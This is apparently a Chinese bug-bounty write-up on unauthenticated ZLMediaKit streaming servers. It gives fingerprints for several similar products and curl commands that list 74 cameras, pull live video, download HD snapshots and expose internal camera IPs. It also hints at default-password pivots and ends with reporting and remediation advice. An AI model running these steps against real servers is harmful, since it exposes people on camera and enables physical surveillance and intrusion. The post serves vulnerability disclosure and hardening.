监控服务器果奔:摄像头直播的完整利用链

一个平平无奇的"文件列表"页面,背后是 74 个摄像头的实时画面、高清截图和历史录像,外加整个监控内网的拓扑。

这不是电影情节,是一次真实 SRC 测试的完整记录。这套东西在 ZLMediaKit 系流媒体服务器上大量存在,一通百通。

(上一篇 AI-Agent 渗透测试里提到的"流媒体/监控未授权"Skill,就是这篇的实战兑现。)


一、开头:一个"File Index"页面,后面是 74 个摄像头

怎么发现它的?其实就是 01 那篇子域名枚举的流程:资产测绘出一批子域名和端口后,按"非标端口优先"的原则逐个探(8080/10003/10004/1443 这类端口,经常藏着业务系统或者运维后台)。

探到某站点 10004 端口时,响应头直接给了个 banner:ZLMediaKit(git hash:xxx, branch:master, build time:...)——一眼就是流媒体服务器。再访问根路径,挂着一个平平无奇的页面——顶部写着 "File Index",列了一堆目录:live/、snap/、proxy/、webrtc/、swagger/、readme/。

当时第一反应:这什么系统?怎么把目录列表直接挂公网了?

后来才知道,这个页面背后是 74 个摄像头的实时直播流、高清抓拍截图、按日期归档的历史录像,以及从目录名里直接暴露的监控内网拓扑。整个园区,只要是进了这个网络的人都能看。

二、怎么认出它:ZLMediaKit 指纹

这种服务器是 ZLMediaKit —— 国内园区、工厂、仓库、智慧城市用得非常多的一款开源流媒体服务器。识别特征很明确:

特征

长什么样

响应头/banner

ZLMediaKit(git hash:xxx, branch:master, build time:...),任意响应头带 ZLMediaKit 字样

页面标题

"File Index" / "欢迎使用ZLMediaKit"(带 GitHub wiki 链接)

常见端口

8080 / 10003 / 10004,且同名子域常多端口并存

一句话:看到 File Index 目录 + 非标端口 = 八成是它。

同类产品还有一堆,后面第五节能通杀:

产品

banner/特征

默认端口

未授权面

ZLMediaKit

ZLMediaKit(git hash:...)

8080/10003/10004

File Index、live/snap/proxy

SRS

"Welcome to SRS!" 页面

1985/8080/1935

控制台/API、players 页面

nginx-rtmp

nginx 默认页 + rtmp 端口

80/1935

stat.xsl 统计页

EasyDarwin

管理页面

10008/8088

默认口令 admin

三、利用链 6 步:从目录到直播画面

所有操作零鉴权,命令可以直接复现:

# 1. 根路径列目录 —— 先看静态索引,别急着撞 API
curl -sk http://IP:10004/
#    File Index: live/ snap/ proxy/ webrtc/ swagger/ readme/

# 2. /live/ 摄像头列表 —— 命名直接泄露监控内网拓扑
curl -sk http://IP:10004/live/
#    HK_10_0_0_248_1/  HK_10_0_0_83_1/  ...  共 74 个目录
#    每个目录: hls.m3u8(实时) + 2026-08-10/(按日期录像)

# 3. hls.m3u8 实时拉流 —— 连续拉两次看 MEDIA-SEQUENCE
curl -sk http://IP:10004/live/HK_10_0_0_248_1/hls.m3u8 | grep MEDIA-SEQUENCE
#    第一次: #EXT-X-MEDIA-SEQUENCE:18262
#    第二次: #EXT-X-MEDIA-SEQUENCE:18263   ← 递增 = 直播中

# 4. ts 分片拉取验证 —— 实锤视频流
curl -sk -o 1.ts http://IP:10004/live/HK_10_0_0_248_1/2026-08-10/15/51-25_18372.ts
file 1.ts
#    1.ts: MPEG transport stream / video/mp2t   ← 真实视频

# 5. /snap/ 监控截图 —— 高清抓拍
curl -sk -o snap.jpg http://IP:10004/snap/05d99dee316d66a6621d6d6cc2aba564/1785826197.jpeg
file snap.jpg
#    snap.jpg: JPEG image data ... 2560x1440    ← 2K 高清

# 6. /proxy/ 代理目录、录像目录同套路
curl -sk http://IP:10004/proxy/

6 步走完,整个监控体系就"借"过来了:实时画面(hls.m3u8 + ts)、高清截图(snap)、历史录像(按日期归档)、内网拓扑(HK_内网IP_通道 命名)。

四、关键取证点:怎么证明"实时直播"不是静态文件

这一步是报告能不能坐实"高危"的分水岭。光说"能访问目录"审核会打回,必须证明画面是活的:

证据

怎么取

证明什么

MEDIA-SEQUENCE 递增

连续拉两次 hls.m3u8,对比序列号

实时直播中(静态文件序列号不会变)

ts 分片非 0 字节

拉一个分片,file 确认 MPEG transport stream

真实视频流,不是 404 壳

JPEG 分辨率

file 确认 2560x1440

真实高清抓拍

摄像头数量

/live/ 目录计数(74 个)

影响范围可量化

注意:取证只说"验证可拉取",不要真的去下载全量录像——证明到"能拉取、是活的、有 N 路"即可,下载全量反而越界。

五、常见坑(真实踩过)

1. 多端口并存:10001/10003 可能是官方 demo 页(cn/demo.html 跳转),10004 才是真实文件索引。每个端口都要试。

2. API 要登录 ≠ 没洞:/index/api/version 返回 "Please login first" 说明配了 secret,但静态文件索引(live/snap)往往才是真洞——别在 API 上死磕。

3. 演示页无价值:readme/、webrtc/、swagger/ 是官方静态资源,不是目标数据。

4. 同类产品通杀:SRS / nginx-rtmp / EasyDarwin 套路一样——找 hls.m3u8、record/、snap/ 目录。

5. 能打开管理面板 ≠ 能操作业务接口:webrtc demo 页、调试面板看着像后台,实际只是前端静态演示,别把时间耗在它们上面。

六、影响面:74 个摄像头意味着什么

这不是"看了个监控"的猎奇问题,是实打实的物理安防失效:

  • 实时监控画面泄露:园区/厂区/仓库的实时影像对攻击者完全透明,可被用于踩点、摸清人员活动规律
  • 历史录像可回溯:按日期归档的录像意味着过去数月的影像都能被翻出来
  • 高清抓拍截图:2560x1440 的抓拍能看清人脸、车牌、货物细节
  • 内网拓扑暴露:HK_内网IP_通道 的命名直接把摄像头网段拓扑画出来了,为后续打内网铺路
  • 摄像头本身大概率弱口令:HK_ 命名(海康系)的设备,很多配了默认口令,一旦拿下就是内网跳板

七、定级与报告

定级:高危。理由:未授权访问 + 实时画面 + 高清截图 + 历史录像 + 内网 IP 拓扑,齐活。

报告标题格式:

XX监控系统未授权访问,74 个摄像头直播流/截图/录像可任意查看

报告要点:

  • 漏洞类型:未授权访问 / 敏感信息泄露
  • URL 写 http://IP:10004/
  • 请求包:GET /live/ 和 GET hls.m3u8 的原始响应
  • 证据:live 目录列表(摄像头数)、MEDIA-SEQUENCE 对比、ts/JPEG 的 file 输出
  • 截图含地址栏

八、修复建议

1. 开启 ZLMediaKit 接口鉴权:配置 api.secret,静态文件索引目录(live/snap/proxy)加访问控制,禁止匿名访问

2. 关闭 httpFileServer 目录浏览:File Index 就是它开出来的,收敛掉目录列表能力

3. 摄像头/流媒体 VLAN 隔离:监控网与业务网物理隔离,公网入口只保留带鉴权的拉流网关,禁止流媒体端口直接暴露公网

4. 摄像头弱口令整改:HK_ 命名暴露的内网设备大概率配了默认口令,全量改强口令并关闭不必要的远程访问

5. 上线前资产测绘自查:按本文的指纹(ZLMediaKit/SRS/nginx-rtmp/EasyDarwin banner + File Index)扫一遍自身资产,未授权面在暴露前发现

九、一句话总结

一个 File Index 目录,背后是 74 路直播、一个内网拓扑、一段历史影像——流媒体服务器把"未授权访问"直接坐实成"安防体系失效"。挖洞时多看一眼非标端口,防护时记得把监控网和公网隔开。